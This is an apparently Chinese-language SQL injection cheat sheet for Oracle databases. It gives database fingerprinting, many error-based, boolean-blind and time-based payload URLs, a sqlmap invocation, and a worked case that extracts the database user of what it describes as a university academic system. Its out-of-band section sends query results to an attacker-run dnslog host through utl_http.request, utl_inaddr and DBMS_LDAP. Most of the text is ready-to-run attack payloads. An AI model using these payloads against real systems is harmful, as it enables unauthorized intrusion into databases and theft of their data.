sql注入之Oracle注入
Oracle注入
1.Oracle的数据类型是强匹配的(MYSQL有弱匹配的味道),所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置。
2.Oracle的单行注释符号是-- ,多行注释符号/**/。
判断Oracle数据库
利用函数来判断是否oracle数据 如:and len('a')=1
(在mssql和mysql以及db2内,返回长度值是调用len()函数;在oracle和INFORMIX则是通过length()来返回长度值。)
也可以通过dual来判断是否为oracle
select count(*) from dual where 1=1 and (select count(*) from dual)>1 --
select count(*) from dual where 1=1 and (select count(*) from dual)>0 --
报错注入
利用 utl_inaddr.get_host_name
这种方法在Oracle 8g,9g,10g中不需要任何权限,但是在Oracle 11g以及以后的版本中,官方加强了访问控制权限,所以在11g以后要使用此方法进行报错注入,当前数据库用户必须有网络访问权限。
http://www.test.com/oracle.jsp?name=' and 1=utl_inaddr.get_host_name((select user from dual))--
利用 ctxsys.drithsx.sn()
http://www.test.com/oracle.jsp?name=' and 1=ctxsys.drithsx.sn(1,(select user from dual))--
利用 dbms_xdb_version.checkin()
http://www.test.com/oracle.jsp?name=1' and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null–
利用dbms_xdb_version.uncheckout()
http://www.test.com/oracle.jsp?name=1' and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --
利用dbms_utility.sqlid_to_sqlhash()
http://www.test.com/oracle.jsp?name=1' and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --
利用ordsys.ord_dicom.getmappingxpath()
http://www.test.com/oracle.jsp?name=1' and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)
使用decode进行报错注入,这种方式更偏向布尔型注入,因为这种方式并不会通过报错把查询结果回显回来,仅是用来作为页面的表现不同的判断方法。
http://www.test.com/oracle.jsp?name=1' and 1=(select decode(substr(user,1,1),'A',(1/0),0) from dual) --
这里是判断第一位是否为A,依次判断
XMLType
在使用这个XMLType进行报错时,很多人不知道为什么要用chr(60),通过ascii查询可以看到,60:<,58:’:’,62:’>’,查了下相关的api,发现xmltype在进行解析的时候必须以<开头>结尾,这里:冒号在这是必不可少的,至于为什么是冒号这个我也没查到,另外需要注意的是如果返回的数据种有空格的话,它会自动截断,导致数据不完整,有replace函数替换成其他非空字符就可以。
http://www.test.com/oracle.jsp?name=1'and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null--
Oracle带外通信获取信息
utl_http.request()
http://www.test.com/oracle.jsp?name=1' and 1=utl_http.request('http://10.10.10.10(自己搭建dnslog或者用现有的):80/'||(select banner from sys.v_$version where rownum=1)) --
utl_inaddr.get_host_address()
http://www.test.com/oracle.jsp?name=1' and (select utl_inaddr.get_host_address((select user from dual)||'.sssss.com(自己搭建dnslog或者用现有的)') from dual)is not null --
SYS.DBMS_LDAP.INIT
http://www.test.com/oracle.jsp?name=1' and (select SYS.DBMS_LDAP.INIT((select user from dual)||'.sssss.com(自己搭建dnslog或者用现有的)') from dual)is not null --
布尔盲注
这里的布尔盲注跟Mysql没有感觉有什么大区别,时间盲注感觉也是一样 只是函数的不同
```
**18031200424' AND ascii(substr(SYS_CONTEXT('USERENV','CURRENT_USER'),%s,1))=%s AND 'aaa'='aaa" % (i, ord(payload))
```
附上一个案例 http://wooyun.chamd5.org/bug_detail.php?wybug_id=wooyun-2016-0213757
时间盲注
使用DBMS_PIPE.RECEIVE_MESSAGE()进行时间盲注
http://www.test.com/oracle.jsp?name=1'and 1=(DBMS_PIPE.RECEIVE_MESSAGE('a',10)) and '1'='1
'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('rds',10)='1
实际用法:
http://www.test.com/oracle.jsp?name=1' AND 7238=(CASE WHEN (ASCII(SUBSTRC((SELECT NVL(CAST(USER AS VARCHAR(4000)),CHR(32)) FROM DUAL),3,1))>96) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(71)||CHR(106)||CHR(72)||CHR(73),1) ELSE 7238 END) AND '1'='1&sname=1
【DBMS_PIPE.RECEIVE_MESSAGE的理解】
来自官网的DBMS_PIPE.RECEIVE_MESSAGE语法:
DBMS_PIPE.RECEIVE_MESSAGE (
pipename IN VARCHAR2,
timeout IN INTEGER DEFAULT maxwait)
RETURN INTEGER;
可以暂时理解成DBMS_PIPE.RECEIVE_MESSAGE('任意值',延迟时间)
使用decode()进时间盲注 (select count(*) from all_objects) 会花费更多是时间去查询所有数据库的条目,所以以这种方式进行时间判断依据,这是一个骚气的方式。
http://www.test.com/oracle.jsp?name=1'and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) and '1'='1
使用decode与DBMS_PIPE.RECEIVE_MESSAGE嵌套的方式进行时间盲注。
http://www.test.com/oracle.jsp?name=1'and 1=(select decode(substr(user,1,1),'A',DBMS_PIPE.RECEIVE_MESSAGE('RDS',5) ,0) from dual) and '1'='1
sqlmap
python sqlmap.py -r 1.txt --level 5 --risk 3 --random-agent --batch --dbms=oracle -p "id" --tamper="space2comment.py"
实例
某高校教务系统的Oracle盲注。
已知注入点为id,语句判断,睡眠10秒,则为Oracle数据库。
?id=1'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('v',10)='v
依次判断用户名第一位,第二位。。。
?id=1'and 1=(select decode(substr(user,1,1),'U',DBMS_PIPE_RECEIVE_MESSAGE('RDS',5),0)from dual) and '1'='1
?id=1'and 1=(select decode(substr(user,1,1),'S',DBMS_PIPE_RECEIVE_MESSAGE('RDS',5),0)from dual) and '1'='1
?id=1'and 1=(select decode(substr(user,1,1),'R',DBMS_PIPE_RECEIVE_MESSAGE('RDS',5),0)from dual) and '1'='1
最后得到user为`USR`